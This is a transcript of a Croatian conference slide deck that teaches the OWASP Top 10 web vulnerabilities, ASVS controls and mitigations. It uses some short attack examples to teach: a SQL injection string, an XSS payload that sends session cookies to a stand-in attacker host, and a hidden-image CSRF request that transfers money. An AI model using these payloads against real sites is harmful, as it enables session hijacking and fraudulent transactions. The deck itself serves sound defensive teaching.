Cesti sigurnosni propusti u web aplikacijama i kako ih izbjeci fileČesti sigurnosni propusti u web...

56
Agenda Uvod Najčešćih 10 sigurnosnih propusta u web aplikacijama Zaključak Izvori Česti sigurnosni propusti u web aplikacijama i kako ih izbjeći Mislav Božičević [email protected] Ekobit d.o.o. 25.10.2016. Mislav Božičević Ekobit d.o.o. Česti sigurnosni propusti u web aplikacijama i kako ih izbjeći

Transcript of Cesti sigurnosni propusti u web aplikacijama i kako ih izbjeci fileČesti sigurnosni propusti u web...

Page 1: Cesti sigurnosni propusti u web aplikacijama i kako ih izbjeci fileČesti sigurnosni propusti u web aplikacijama i kako ih izbjeći Agenda Uvod Najčešćih 10 sigurnosnih propusta

Agenda Uvod Najčešćih 10 sigurnosnih propusta u web aplikacijama Zaključak Izvori

Česti sigurnosni propusti u web aplikacijama i kakoih izbjeći

Mislav Božičević[email protected]

Ekobit d.o.o.

25.10.2016.

Mislav Božičević Ekobit d.o.o.Česti sigurnosni propusti u web aplikacijama i kako ih izbjeći

Page 2: Cesti sigurnosni propusti u web aplikacijama i kako ih izbjeci fileČesti sigurnosni propusti u web aplikacijama i kako ih izbjeći Agenda Uvod Najčešćih 10 sigurnosnih propusta

Agenda Uvod Najčešćih 10 sigurnosnih propusta u web aplikacijama Zaključak Izvori

Agenda

OWASP ASVS kao primjer okvira sa sigurnosnim zahtjevima ikontrolama za normalizaciju sigurnosne kategorizacije webaplikacija [1, str.7]ASVS se obrađuje kroz OWASP Top 10 [2] i primjereovo predavanje nije uputa/checklista za testiranje, za toupućujem na OWASP Testing Guide [3]ovo predavanje nije uputa za korištenje alata poput: OWASPZAP [8], sqlmap [9], Metasploit Framework [10], OpenVAS[11] ili Kali Linux distribucije [12]

Mislav Božičević Ekobit d.o.o.Česti sigurnosni propusti u web aplikacijama i kako ih izbjeći

Page 3: Cesti sigurnosni propusti u web aplikacijama i kako ih izbjeci fileČesti sigurnosni propusti u web aplikacijama i kako ih izbjeći Agenda Uvod Najčešćih 10 sigurnosnih propusta

Agenda Uvod Najčešćih 10 sigurnosnih propusta u web aplikacijama Zaključak Izvori

Sadržaj I

1 UvodOWASP ASVS

2 Najčešćih 10 sigurnosnih propusta u web aplikacijamaNapadi umetanjem znakova (Injection)Problemi s autentikacijom i upravljanjem sesijama (BrokenAuthentication and Session Management)Cross-Site Scripting (XSS)Nesiguran direktni pristup objektima (Insecure Direct ObjectReference)Sigurnosni problemi zbog krivog podešavanja sustava(Security Misconfiguration)Izlaganje osjetljivih podataka (Sensitive Data Exposure)Nedostatak kontrole pristupa nad funkcijama (MissingFunction Level Access Control)

Mislav Božičević Ekobit d.o.o.Česti sigurnosni propusti u web aplikacijama i kako ih izbjeći

Page 4: Cesti sigurnosni propusti u web aplikacijama i kako ih izbjeci fileČesti sigurnosni propusti u web aplikacijama i kako ih izbjeći Agenda Uvod Najčešćih 10 sigurnosnih propusta

Agenda Uvod Najčešćih 10 sigurnosnih propusta u web aplikacijama Zaključak Izvori

Sadržaj IICross-Site Request Forgery (CSRF)Korištenje poznatih ranjivih komponenata (UsingComponents with Known Vulnerabilities)Neprovjerena usmjeravanja i preusmjeravanja (UnvalidatedRedirects and Forwards)

3 Zaključak

4 Izvori

Mislav Božičević Ekobit d.o.o.Česti sigurnosni propusti u web aplikacijama i kako ih izbjeći

Page 5: Cesti sigurnosni propusti u web aplikacijama i kako ih izbjeci fileČesti sigurnosni propusti u web aplikacijama i kako ih izbjeći Agenda Uvod Najčešćih 10 sigurnosnih propusta

Agenda Uvod Najčešćih 10 sigurnosnih propusta u web aplikacijama Zaključak Izvori

UvodOWASP Application Security Verification Standard (ASVS)

ciljevipomoći organizacijama da razvijaju i održavaju sigurneaplikacijeomogućiti pružateljima usluga i klijentima da usuglase traženui pruženu uslugu, odnosno proizvod

ASVS razineASVS Level 1: Opportunistic, za sve aplikacijeASVS Level 2: Standard, za aplikacije koje barataju osjetljivimpodacimaASVS Level 3: Advanced, za kritične aplikacije

Mislav Božičević Ekobit d.o.o.Česti sigurnosni propusti u web aplikacijama i kako ih izbjeći

Page 6: Cesti sigurnosni propusti u web aplikacijama i kako ih izbjeci fileČesti sigurnosni propusti u web aplikacijama i kako ih izbjeći Agenda Uvod Najčešćih 10 sigurnosnih propusta

Agenda Uvod Najčešćih 10 sigurnosnih propusta u web aplikacijama Zaključak Izvori

kako koristiti standard?nacrt za Secure Coding Checklisttemelj za definiciju sigurnosnih zahtjevaobris penetracijskog testa

organizacijski aspekt (dio agile SDLCa)ASVS se koristi za generiranje epicarequirement iz ASVS se dodaje u sprint backlogdeveloperi koriste ASVS prilikom peer reviewa da spriječecommitanje nesigurnog kodaASVS kao uputa za pisanje unit i integration testova zasmanjenje rizika od waterfall metodike i "penetracijski test nakraju"

Mislav Božičević Ekobit d.o.o.Česti sigurnosni propusti u web aplikacijama i kako ih izbjeći

Page 7: Cesti sigurnosni propusti u web aplikacijama i kako ih izbjeci fileČesti sigurnosni propusti u web aplikacijama i kako ih izbjeći Agenda Uvod Najčešćih 10 sigurnosnih propusta

Agenda Uvod Najčešćih 10 sigurnosnih propusta u web aplikacijama Zaključak Izvori

Injection

SQL, LDAP, XPath, naredbe operacijskom sustavu, XMLparser ne razlikuje programski kod od podatakaBlind SQL injection

Mislav Božičević Ekobit d.o.o.Česti sigurnosni propusti u web aplikacijama i kako ih izbjeći

Page 8: Cesti sigurnosni propusti u web aplikacijama i kako ih izbjeci fileČesti sigurnosni propusti u web aplikacijama i kako ih izbjeći Agenda Uvod Najčešćih 10 sigurnosnih propusta

Agenda Uvod Najčešćih 10 sigurnosnih propusta u web aplikacijama Zaključak Izvori

Injection: primjeri

string query = "SELECT * FROM accounts WHERE id = ’" +Request.QueryString["id"] + "’";

http://primjer.com/accounts?id=’or ’1’ = ’1

je li moguće napraviti sigurnu konkatenaciju?spašava li nas korištenje ORM-a?

Mislav Božičević Ekobit d.o.o.Česti sigurnosni propusti u web aplikacijama i kako ih izbjeći

Page 9: Cesti sigurnosni propusti u web aplikacijama i kako ih izbjeci fileČesti sigurnosni propusti u web aplikacijama i kako ih izbjeći Agenda Uvod Najčešćih 10 sigurnosnih propusta

Agenda Uvod Najčešćih 10 sigurnosnih propusta u web aplikacijama Zaključak Izvori

Injection: ASVS kontrole

5.10. Verify that all SQL queries, HQL, OSQL, NOSQL andstored procedures, calling of stored procedures are protectedby the use of prepared statements or query parameterization,and thus not susceptible to SQL injection5.14. Verify that the application is not susceptible to commonXML attacks, such as XPath query tampering, XML ExternalEntity attacks, and XML injection attacks8.8. Verify that all non-printable symbols and field separatorsare properly encoded in log entries, to prevent log injection.

Mislav Božičević Ekobit d.o.o.Česti sigurnosni propusti u web aplikacijama i kako ih izbjeći

Page 10: Cesti sigurnosni propusti u web aplikacijama i kako ih izbjeci fileČesti sigurnosni propusti u web aplikacijama i kako ih izbjeći Agenda Uvod Najčešćih 10 sigurnosnih propusta

Agenda Uvod Najčešćih 10 sigurnosnih propusta u web aplikacijama Zaključak Izvori

Injection: kako izbjeći propust?

cmd.Parameters.Add("@id", SqlDbType.Int);cmd.Parameters["@id"].Value = ...

koristiti alate za statičku analizu koda, problematično akoinput dolazi preko jezika kojeg analiza ne pokriva (JavaScript,CSS)HtmlEncode nad cijelim korisničkim inputomkoristiti platform API (System.Data/SQL) za parametrizacijuupitakoristiti stored procedure (moguće da se gradi dinamički upit iotvara ranjivost)edukacija developera s best practices pristupom

Mislav Božičević Ekobit d.o.o.Česti sigurnosni propusti u web aplikacijama i kako ih izbjeći

Page 11: Cesti sigurnosni propusti u web aplikacijama i kako ih izbjeci fileČesti sigurnosni propusti u web aplikacijama i kako ih izbjeći Agenda Uvod Najčešćih 10 sigurnosnih propusta

Agenda Uvod Najčešćih 10 sigurnosnih propusta u web aplikacijama Zaključak Izvori

Injection: kako izbjeći propust?

uvijek validirati korisnički input (tip, duljina, format, range) naviše razina (data, business)koristiti whitelist pristup gdje je moguće (npr. ako je textinput: samo ASCII range za slova)ako nije moguće whitelistom, ići blacklistom (odbacivanjebinarnog sadržaja, escape sekvenci, komentara, itd.)ako se radi s XMLom, validirati shemunikada ne graditi SQL upite direktno iz korisničkih inputaraditi dodatnu validaciju parametara unutar stored procedurana serveruprovoditi validaciju na više slojeva

Mislav Božičević Ekobit d.o.o.Česti sigurnosni propusti u web aplikacijama i kako ih izbjeći

Page 12: Cesti sigurnosni propusti u web aplikacijama i kako ih izbjeci fileČesti sigurnosni propusti u web aplikacijama i kako ih izbjeći Agenda Uvod Najčešćih 10 sigurnosnih propusta

Agenda Uvod Najčešćih 10 sigurnosnih propusta u web aplikacijama Zaključak Izvori

Injection: kako izbjeći propust?

ne konkatenirati korisnički input na upiteobratiti pažnju na mjesta gdje se koristi EXECUTE, EXEC i sl.oprez kod poziva unmanaged metoda, odraditi validaciju umanaged prije pozivakorištenje CSP (content security policy)

Mislav Božičević Ekobit d.o.o.Česti sigurnosni propusti u web aplikacijama i kako ih izbjeći

Page 13: Cesti sigurnosni propusti u web aplikacijama i kako ih izbjeci fileČesti sigurnosni propusti u web aplikacijama i kako ih izbjeći Agenda Uvod Najčešćih 10 sigurnosnih propusta

Agenda Uvod Najčešćih 10 sigurnosnih propusta u web aplikacijama Zaključak Izvori

Broken Authentication and Session Management: primjeri

autentikacijasession problemi

disclosurecapturepredictionfixation of the session ID

Mislav Božičević Ekobit d.o.o.Česti sigurnosni propusti u web aplikacijama i kako ih izbjeći

Page 14: Cesti sigurnosni propusti u web aplikacijama i kako ih izbjeci fileČesti sigurnosni propusti u web aplikacijama i kako ih izbjeći Agenda Uvod Najčešćih 10 sigurnosnih propusta

Agenda Uvod Najčešćih 10 sigurnosnih propusta u web aplikacijama Zaključak Izvori

Broken Authentication and Session Management: ASVSkontrole

2.6 Verify all authentication controls fail securely to ensureattackers cannot log in2.7 Verify password entry fields allow, or encourage, the use ofpassphrases, and do not prevent password managers, longpassphrases or highly complex passwords being entered2.13 Verify that account passwords are one way hashed with asalt, and there is sufficient work factor to defeat brute forceand password hash recovery attacks3.18 Verify that an active session list is displayed in theaccount profile or similar of each user. The user should beable to terminate any active session.

Mislav Božičević Ekobit d.o.o.Česti sigurnosni propusti u web aplikacijama i kako ih izbjeći

Page 15: Cesti sigurnosni propusti u web aplikacijama i kako ih izbjeci fileČesti sigurnosni propusti u web aplikacijama i kako ih izbjeći Agenda Uvod Najčešćih 10 sigurnosnih propusta

Agenda Uvod Najčešćih 10 sigurnosnih propusta u web aplikacijama Zaključak Izvori

Broken Authentication and Session Management: kakoizbjeći propust?

login page dostupan jedino putem TLSausername/identifikator case insensitive ([email protected] [email protected])poruke o neuspješnoj autentikaciji ne daju informaciju opodatku koji je neispravan (npr. nepostojeći korisnik)osigurati da je svaki znak lozinke koju korisnik unese doistakorištennikada ne logirati neuspješne lozinke (što se dogodi ako logprocuri?)

Mislav Božičević Ekobit d.o.o.Česti sigurnosni propusti u web aplikacijama i kako ih izbjeći

Page 16: Cesti sigurnosni propusti u web aplikacijama i kako ih izbjeci fileČesti sigurnosni propusti u web aplikacijama i kako ih izbjeći Agenda Uvod Najčešćih 10 sigurnosnih propusta

Agenda Uvod Najčešćih 10 sigurnosnih propusta u web aplikacijama Zaključak Izvori

Broken Authentication and Session Management: kakoizbjeći propust?

poticati korisnika da unosi lozinke dulje od 10 znakova i neograničavati duljinu lozinkerate limit na pokušaje logina (jednako za postojeće inepostojeće accounte, kako ne bi curila informacija opostojećim korisnicima)promisliti o tome da se korisnike forsira na promjenu lozinke uodređenim vremenskim intervalima, pohranjivati zadnjih par(hasheva) da se ne dogodi recikliranje itd.promisliti o poticanju kompleksnih lozinki (uključuje mala,velika, znakove, brojeve itd.)Forgot Password Cheat Sheet [5]

Mislav Božičević Ekobit d.o.o.Česti sigurnosni propusti u web aplikacijama i kako ih izbjeći

Page 17: Cesti sigurnosni propusti u web aplikacijama i kako ih izbjeci fileČesti sigurnosni propusti u web aplikacijama i kako ih izbjeći Agenda Uvod Najčešćih 10 sigurnosnih propusta

Agenda Uvod Najčešćih 10 sigurnosnih propusta u web aplikacijama Zaključak Izvori

Broken Authentication and Session Management: kakoizbjeći propust?

// global.asaxpublic static RegisterGlobalFilters

(GlobalFilterCollection filters){

filters.Add(new RequireHttpsAttribute());}

za high profile site koristiti multi factor authentication, ujednomitigacija za CSRF i session hijacking (nešto što znaš, neštošto imaš, nešto što jesi)ako je moguće, koristi client cert TLS autentikacijulozinku ne pohranjivati u cleartextu (PBKDFv2)

Mislav Božičević Ekobit d.o.o.Česti sigurnosni propusti u web aplikacijama i kako ih izbjeći

Page 18: Cesti sigurnosni propusti u web aplikacijama i kako ih izbjeci fileČesti sigurnosni propusti u web aplikacijama i kako ih izbjeći Agenda Uvod Najčešćih 10 sigurnosnih propusta

Agenda Uvod Najčešćih 10 sigurnosnih propusta u web aplikacijama Zaključak Izvori

Broken Authentication and Session Management: kakoizbjeći propust?

out-of-band komunikacija (OOB)ako je moguće, samo autentificirani korisnici mogu okinutiakciju koja uzrokuje out-of-band feature (SMS, e-mail)rate limit interfacea, da zaražene mašine/accounti ne moguuzrokovati out-of-band feature flood (CAPTCHA)osigurati da PINovi ili lozinke putem OOBa kratko traju idovoljno su nasumični

Mislav Božičević Ekobit d.o.o.Česti sigurnosni propusti u web aplikacijama i kako ih izbjeći

Page 19: Cesti sigurnosni propusti u web aplikacijama i kako ih izbjeci fileČesti sigurnosni propusti u web aplikacijama i kako ih izbjeći Agenda Uvod Najčešćih 10 sigurnosnih propusta

Agenda Uvod Najčešćih 10 sigurnosnih propusta u web aplikacijama Zaključak Izvori

Broken Authentication and Session Management: kakoizbjeći propust?

public class GuidSessionIDManager : SessionIDManager {public override string CreateSessionID(HttpContext context) {

return Guid.NewGuid().ToString();}public override bool Validate(string id) {

try {Guid testGuid = new Guid(id);if (id == testGuid.ToString())

return true;} catch(Exception) { }return false;

}}

Mislav Božičević Ekobit d.o.o.Česti sigurnosni propusti u web aplikacijama i kako ih izbjeći

Page 20: Cesti sigurnosni propusti u web aplikacijama i kako ih izbjeci fileČesti sigurnosni propusti u web aplikacijama i kako ih izbjeći Agenda Uvod Najčešćih 10 sigurnosnih propusta

Agenda Uvod Najčešćih 10 sigurnosnih propusta u web aplikacijama Zaključak Izvori

Broken Authentication and Session Management: kakoizbjeći propust?

session ID length treba biti barem dužine od 128 bita (16okteta)sadržaj session-a na klijentskoj strani ne smije otkrivatiinformacije o stanju aplikacijetrajanje sesije postaviti na što je kraće mogućeupozoriti korisnika da ima otvorenu sesiju s druge lokacije,geografski neuobičajen login itd.

Mislav Božičević Ekobit d.o.o.Česti sigurnosni propusti u web aplikacijama i kako ih izbjeći

Page 21: Cesti sigurnosni propusti u web aplikacijama i kako ih izbjeci fileČesti sigurnosni propusti u web aplikacijama i kako ih izbjeći Agenda Uvod Najčešćih 10 sigurnosnih propusta

Agenda Uvod Najčešćih 10 sigurnosnih propusta u web aplikacijama Zaključak Izvori

Cross-Site Scripting (XSS)

Reflected XSS (non-persistent)Stored XSS (persistent)

Posljedice su jednake neovisno o tipu. Korisnički unosi ne prolazepravilnu validaciju/filtriranje i u sirovom obliku završe u outputuweb aplikacije prema korisniku.

Mislav Božičević Ekobit d.o.o.Česti sigurnosni propusti u web aplikacijama i kako ih izbjeći

Page 22: Cesti sigurnosni propusti u web aplikacijama i kako ih izbjeci fileČesti sigurnosni propusti u web aplikacijama i kako ih izbjeći Agenda Uvod Najčešćih 10 sigurnosnih propusta

Agenda Uvod Najčešćih 10 sigurnosnih propusta u web aplikacijama Zaključak Izvori

Cross-Site Scripting: primjeri

korisniku dozvoljeno HTML formatiranje poruke koja seprikazuje ostalim korisnicimatražilica korisnicima prikazuje zadnje upite drugih korisnika usirovom obliku

’><script>document.location=’http://napadac.com/?c=’+document.cookie</script>’

Mislav Božičević Ekobit d.o.o.Česti sigurnosni propusti u web aplikacijama i kako ih izbjeći

Page 23: Cesti sigurnosni propusti u web aplikacijama i kako ih izbjeci fileČesti sigurnosni propusti u web aplikacijama i kako ih izbjeći Agenda Uvod Najčešćih 10 sigurnosnih propusta

Agenda Uvod Najčešćih 10 sigurnosnih propusta u web aplikacijama Zaključak Izvori

Cross-Site Scripting: ASVS kontrole

5.15. Ensure that all string variables placed into HTML orother web client code is either properly contextually encodedmanually, or utilize templates that automatically encodecontextually to ensure the application is not susceptible toreflected, stored and DOM Cross-Site Scripting (XSS) attacks.

Mislav Božičević Ekobit d.o.o.Česti sigurnosni propusti u web aplikacijama i kako ih izbjeći

Page 24: Cesti sigurnosni propusti u web aplikacijama i kako ih izbjeci fileČesti sigurnosni propusti u web aplikacijama i kako ih izbjeći Agenda Uvod Najčešćih 10 sigurnosnih propusta

Agenda Uvod Najčešćih 10 sigurnosnih propusta u web aplikacijama Zaključak Izvori

Cross-Site Scripting: kako izbjeći propust?

pregledati sve puteve gdje korisnički zahtjev može završiti uHTML outputuuntrusted podaci ne smiju biti u istom HTTP response kaoHTML ili JavaScriptuntrusted podaci trebaju biti pravilno encodeani u JSONformatu i HTTP response mora imati označen Content-Typekao application/jsonuntrusted podaci ako se komponiraju u DOM moraju bitiugnježđeni kroz jedan od sljedećih APIa:

node.textContentdocument.createTextNodeelement.setAttribute(drugi parametar samo)

Mislav Božičević Ekobit d.o.o.Česti sigurnosni propusti u web aplikacijama i kako ih izbjeći

Page 25: Cesti sigurnosni propusti u web aplikacijama i kako ih izbjeci fileČesti sigurnosni propusti u web aplikacijama i kako ih izbjeći Agenda Uvod Najčešćih 10 sigurnosnih propusta

Agenda Uvod Najčešćih 10 sigurnosnih propusta u web aplikacijama Zaključak Izvori

Cross-Site Scripting: kako izbjeći propust?

treba paziti na img src, iframe, bgsound src i sl. što može bitikorišteno za slanje malicioznog JavaScriptakoristiti Microsoft Anti-XSS library ili sl.potražiti postoji li CVE za JS librarye koji se koristeOWASP XSS Prevention Cheat Sheet [6]

Mislav Božičević Ekobit d.o.o.Česti sigurnosni propusti u web aplikacijama i kako ih izbjeći

Page 26: Cesti sigurnosni propusti u web aplikacijama i kako ih izbjeci fileČesti sigurnosni propusti u web aplikacijama i kako ih izbjeći Agenda Uvod Najčešćih 10 sigurnosnih propusta

Agenda Uvod Najčešćih 10 sigurnosnih propusta u web aplikacijama Zaključak Izvori

Insecure Direct Object Reference

napadač ostvaruje pristup resursima za koje nije ovlaštenputem direktnih referencipredvidljivi i nezaštićeni identifikatori resursa ili sl.

Mislav Božičević Ekobit d.o.o.Česti sigurnosni propusti u web aplikacijama i kako ih izbjeći

Page 27: Cesti sigurnosni propusti u web aplikacijama i kako ih izbjeci fileČesti sigurnosni propusti u web aplikacijama i kako ih izbjeći Agenda Uvod Najčešćih 10 sigurnosnih propusta

Agenda Uvod Najčešćih 10 sigurnosnih propusta u web aplikacijama Zaključak Izvori

Insecure Direct Object Reference: primjeri

string query = "SELECT * FROM accounts WHERE id = @id";var cmd = new SqlCommand(connection);cmd.Parameters.Add("@id", SqlDbType.Int);cmd.Parameters["@id"].Value = ...

autentificirani korisnik modificira id iz vrijednosti za koju jeautoriziran u vrijednost za koju nije autoriziran

Mislav Božičević Ekobit d.o.o.Česti sigurnosni propusti u web aplikacijama i kako ih izbjeći

Page 28: Cesti sigurnosni propusti u web aplikacijama i kako ih izbjeci fileČesti sigurnosni propusti u web aplikacijama i kako ih izbjeći Agenda Uvod Najčešćih 10 sigurnosnih propusta

Agenda Uvod Najčešćih 10 sigurnosnih propusta u web aplikacijama Zaključak Izvori

Insecure Direct Object Reference: ASVS kontrole

4.1 Verify that the principle of least privilege exists - usersshould only be able to access functions, data files, URLs,controllers, services, and other resources, for which theypossess specific authorization. This implies protection againstspoofing and elevation of privilege.4.2 Verify that access to sensitive records is protected, suchthat only authorized objects or data is accessible to each user(for example, protect against users tampering with aparameter to see or alter another user’s account).

Mislav Božičević Ekobit d.o.o.Česti sigurnosni propusti u web aplikacijama i kako ih izbjeći

Page 29: Cesti sigurnosni propusti u web aplikacijama i kako ih izbjeci fileČesti sigurnosni propusti u web aplikacijama i kako ih izbjeći Agenda Uvod Najčešćih 10 sigurnosnih propusta

Agenda Uvod Najčešćih 10 sigurnosnih propusta u web aplikacijama Zaključak Izvori

Security Misconfiguration

konfiguracija OSkonfiguracija aplikacijskog serverakonfiguracija DBMSakonfiguracija aplikacije ili librarya

Mislav Božičević Ekobit d.o.o.Česti sigurnosni propusti u web aplikacijama i kako ih izbjeći

Page 30: Cesti sigurnosni propusti u web aplikacijama i kako ih izbjeci fileČesti sigurnosni propusti u web aplikacijama i kako ih izbjeći Agenda Uvod Najčešćih 10 sigurnosnih propusta

Agenda Uvod Najčešćih 10 sigurnosnih propusta u web aplikacijama Zaključak Izvori

Security Misconfiguration: primjeri

web.config (razina aplikacije), machine.config (razina servera)dozvoljene autentifikacijske metodeautorizacijska pravilakorištenje TLSafiltriranje po izvorišnoj IP adresierror handling

Mislav Božičević Ekobit d.o.o.Česti sigurnosni propusti u web aplikacijama i kako ih izbjeći

Page 31: Cesti sigurnosni propusti u web aplikacijama i kako ih izbjeci fileČesti sigurnosni propusti u web aplikacijama i kako ih izbjeći Agenda Uvod Najčešćih 10 sigurnosnih propusta

Agenda Uvod Najčešćih 10 sigurnosnih propusta u web aplikacijama Zaključak Izvori

Security Misconfiguration: ASVS kontrole

2.19 Verify there are no default passwords in use for theapplication framework or any components used by theapplication (such as "admin/password")19.3 Communications between components, such as betweenthe application server and the database server should beauthenticated using an account with the least necessaryprivileges.19.4 Verify application deployments are adequatelysandboxed, containerized or isolated to delay and deterattackers from attacking other applications.

Mislav Božičević Ekobit d.o.o.Česti sigurnosni propusti u web aplikacijama i kako ih izbjeći

Page 32: Cesti sigurnosni propusti u web aplikacijama i kako ih izbjeci fileČesti sigurnosni propusti u web aplikacijama i kako ih izbjeći Agenda Uvod Najčešćih 10 sigurnosnih propusta

Agenda Uvod Najčešćih 10 sigurnosnih propusta u web aplikacijama Zaključak Izvori

Security Misconfiguration: kako izbjeći propust?

<location path="MySite"><system.webServer>

<security><authentication>

<anonymousAuthentication enabled="false" /><basicAuthentication enabled="true"

defaultLogonDomain="MySite" /><windowsAuthentication enabled="true" />

...

isključenje anonymous autentikacije za MySiteuključenje basic i windows autentikacije

Mislav Božičević Ekobit d.o.o.Česti sigurnosni propusti u web aplikacijama i kako ih izbjeći

Page 33: Cesti sigurnosni propusti u web aplikacijama i kako ih izbjeci fileČesti sigurnosni propusti u web aplikacijama i kako ih izbjeći Agenda Uvod Najčešćih 10 sigurnosnih propusta

Agenda Uvod Najčešćih 10 sigurnosnih propusta u web aplikacijama Zaključak Izvori

Security Misconfiguration: kako izbjeći propust?

<location path="MySite"><system.webServer>

<security><access sslFlags="Ssl">

...

SSL postaje required za MySiteSslNegotiateCert/SslRequireCert

Mislav Božičević Ekobit d.o.o.Česti sigurnosni propusti u web aplikacijama i kako ih izbjeći

Page 34: Cesti sigurnosni propusti u web aplikacijama i kako ih izbjeci fileČesti sigurnosni propusti u web aplikacijama i kako ih izbjeći Agenda Uvod Najčešćih 10 sigurnosnih propusta

Agenda Uvod Najčešćih 10 sigurnosnih propusta u web aplikacijama Zaključak Izvori

Security Misconfiguration: kako izbjeći propust?

<location path="Default Web Site"><system.webServer>

<security><ipSecurity>

<add ipAddress="192.168.88.1"/><add ipAddress="169.254.0.0" subnetMask="255.255.0.0"/>

...

zabrana za host ili mrežudefault je blacklistallowUnlisted postavljanjem na false omogućuje whitelistpristup

Mislav Božičević Ekobit d.o.o.Česti sigurnosni propusti u web aplikacijama i kako ih izbjeći

Page 35: Cesti sigurnosni propusti u web aplikacijama i kako ih izbjeci fileČesti sigurnosni propusti u web aplikacijama i kako ih izbjeći Agenda Uvod Najčešćih 10 sigurnosnih propusta

Agenda Uvod Najčešćih 10 sigurnosnih propusta u web aplikacijama Zaključak Izvori

Sensitive Data Exposure

primjeri osjetljivih podataka: lozinke, brojevi kartica,zdravstveni podaci, ...šalju li se u nekriptiranom obliku (transit)jesu li kriptirani na adekvatan način (at rest)

Mislav Božičević Ekobit d.o.o.Česti sigurnosni propusti u web aplikacijama i kako ih izbjeći

Page 36: Cesti sigurnosni propusti u web aplikacijama i kako ih izbjeci fileČesti sigurnosni propusti u web aplikacijama i kako ih izbjeći Agenda Uvod Najčešćih 10 sigurnosnih propusta

Agenda Uvod Najčešćih 10 sigurnosnih propusta u web aplikacijama Zaključak Izvori

Sensitive Data Exposure: primjeri

ne koristi se TLS, napadač u blizini otvorenog WiFi APalozinke u bazi su samo hashirane, napadač koristi rainbowtablice

Mislav Božičević Ekobit d.o.o.Česti sigurnosni propusti u web aplikacijama i kako ih izbjeći

Page 37: Cesti sigurnosni propusti u web aplikacijama i kako ih izbjeci fileČesti sigurnosni propusti u web aplikacijama i kako ih izbjeći Agenda Uvod Najčešćih 10 sigurnosnih propusta

Agenda Uvod Najčešćih 10 sigurnosnih propusta u web aplikacijama Zaključak Izvori

Sensitive Data Exposure: ASVS kontrole

2.2 Verify that forms containing credentials are not filled in bythe application. Pre-filling by the application implies thatcredentials are stored in plaintext or a reversible format, whichis explicitly prohibited9.3 Verify that all sensitive data is sent to the server in theHTTP message body or headers (i.e., URL parameters arenever used to send sensitive data).9.9 Verify that data stored in client side storage (such asHTML5 local storage, session storage, IndexedDB, regularcookies or Flash cookies) does not contain sensitive data orPII.

Mislav Božičević Ekobit d.o.o.Česti sigurnosni propusti u web aplikacijama i kako ih izbjeći

Page 38: Cesti sigurnosni propusti u web aplikacijama i kako ih izbjeci fileČesti sigurnosni propusti u web aplikacijama i kako ih izbjeći Agenda Uvod Najčešćih 10 sigurnosnih propusta

Agenda Uvod Najčešćih 10 sigurnosnih propusta u web aplikacijama Zaključak Izvori

Sensitive Data Exposure: kako izbjeći propust?

transitTLS uključenHTTP Strict Transport Security (HSTS)

at restosjetljivi podaci nisu dio URLakoriste se standardni algoritmi (AES)koristi se RNGCryptoServiceProvider ili sl.

Mislav Božičević Ekobit d.o.o.Česti sigurnosni propusti u web aplikacijama i kako ih izbjeći

Page 39: Cesti sigurnosni propusti u web aplikacijama i kako ih izbjeci fileČesti sigurnosni propusti u web aplikacijama i kako ih izbjeći Agenda Uvod Najčešćih 10 sigurnosnih propusta

Agenda Uvod Najčešćih 10 sigurnosnih propusta u web aplikacijama Zaključak Izvori

Missing Function Level Access Control

prikazuje li UI navigaciju prema funkcijama za koje korisniknije autoriziranpostoje li autorizacijske provjere na serverskoj straniprovodi li se autorizacija samo temeljem informacija kojezadaje napadač (hidden field, admin=true, ...)

Mislav Božičević Ekobit d.o.o.Česti sigurnosni propusti u web aplikacijama i kako ih izbjeći

Page 40: Cesti sigurnosni propusti u web aplikacijama i kako ih izbjeci fileČesti sigurnosni propusti u web aplikacijama i kako ih izbjeći Agenda Uvod Najčešćih 10 sigurnosnih propusta

Agenda Uvod Najčešćih 10 sigurnosnih propusta u web aplikacijama Zaključak Izvori

Missing Function Level Access Control: primjeri

korištenje frameworka koji automatski mapira request varijablena business objekte (napadač inicijalizira i varijable koje nisupredviđene)postoji funkcionalnost za koju nisu postavljeni autorizacijskiatributi

Mislav Božičević Ekobit d.o.o.Česti sigurnosni propusti u web aplikacijama i kako ih izbjeći

Page 41: Cesti sigurnosni propusti u web aplikacijama i kako ih izbjeci fileČesti sigurnosni propusti u web aplikacijama i kako ih izbjeći Agenda Uvod Najčešćih 10 sigurnosnih propusta

Agenda Uvod Najčešćih 10 sigurnosnih propusta u web aplikacijama Zaključak Izvori

Missing Function Level Access Control: ASVS kontrole

2.4 Verify all authentication controls are enforced on theserver side5.18 Verify that client side validation is used as a second lineof defense, in addition to server side validation.

Mislav Božičević Ekobit d.o.o.Česti sigurnosni propusti u web aplikacijama i kako ih izbjeći

Page 42: Cesti sigurnosni propusti u web aplikacijama i kako ih izbjeci fileČesti sigurnosni propusti u web aplikacijama i kako ih izbjeći Agenda Uvod Najčešćih 10 sigurnosnih propusta

Agenda Uvod Najčešćih 10 sigurnosnih propusta u web aplikacijama Zaključak Izvori

Missing Function Level Access Control: kako izbjećipropust?

// global.asax default deny access to URLpublic static RegisterGlobalFilters

(GlobalFilterCollection filters){

filters.Add(new HandleErrorAttribute());filters.Add(new System.Web.Mvc.AuthorizeAttribute());

}

korištenje atributa nad svim izloženim funkcijamadefault deny, nakon toga autorizacija prema RBAC/ACLautorizacijske odluke se ne događaju na klijentu (JavaScript)

Mislav Božičević Ekobit d.o.o.Česti sigurnosni propusti u web aplikacijama i kako ih izbjeći

Page 43: Cesti sigurnosni propusti u web aplikacijama i kako ih izbjeci fileČesti sigurnosni propusti u web aplikacijama i kako ih izbjeći Agenda Uvod Najčešćih 10 sigurnosnih propusta

Agenda Uvod Najčešćih 10 sigurnosnih propusta u web aplikacijama Zaključak Izvori

Cross-Site Request Forgery (CSRF): primjeri

http://npr.hr/prenesiSredstva?iznos=100&primatelj=123

žrtva koja je autentificirana na npr.hr posjeti napadačev sitekoji sadrži

<img src="http://npr.hr/prenesiSredstva?iznos=100&primatelj=666" width="0" height="0" >

Mislav Božičević Ekobit d.o.o.Česti sigurnosni propusti u web aplikacijama i kako ih izbjeći

Page 44: Cesti sigurnosni propusti u web aplikacijama i kako ih izbjeci fileČesti sigurnosni propusti u web aplikacijama i kako ih izbjeći Agenda Uvod Najčešćih 10 sigurnosnih propusta

Agenda Uvod Najčešćih 10 sigurnosnih propusta u web aplikacijama Zaključak Izvori

Cross-Site Request Forgery (CSRF): ASVS kontrole

4.13 Verify that the application or framework uses strongrandom anti-CSRF tokens or has another transactionprotection mechanism.18.7 Verify that the REST service is protected from Cross-SiteRequest Forgery via the use of at least one or more of thefollowing: ORIGIN checks, double submit cookie pattern,CSRF nonces, and referrer checks.

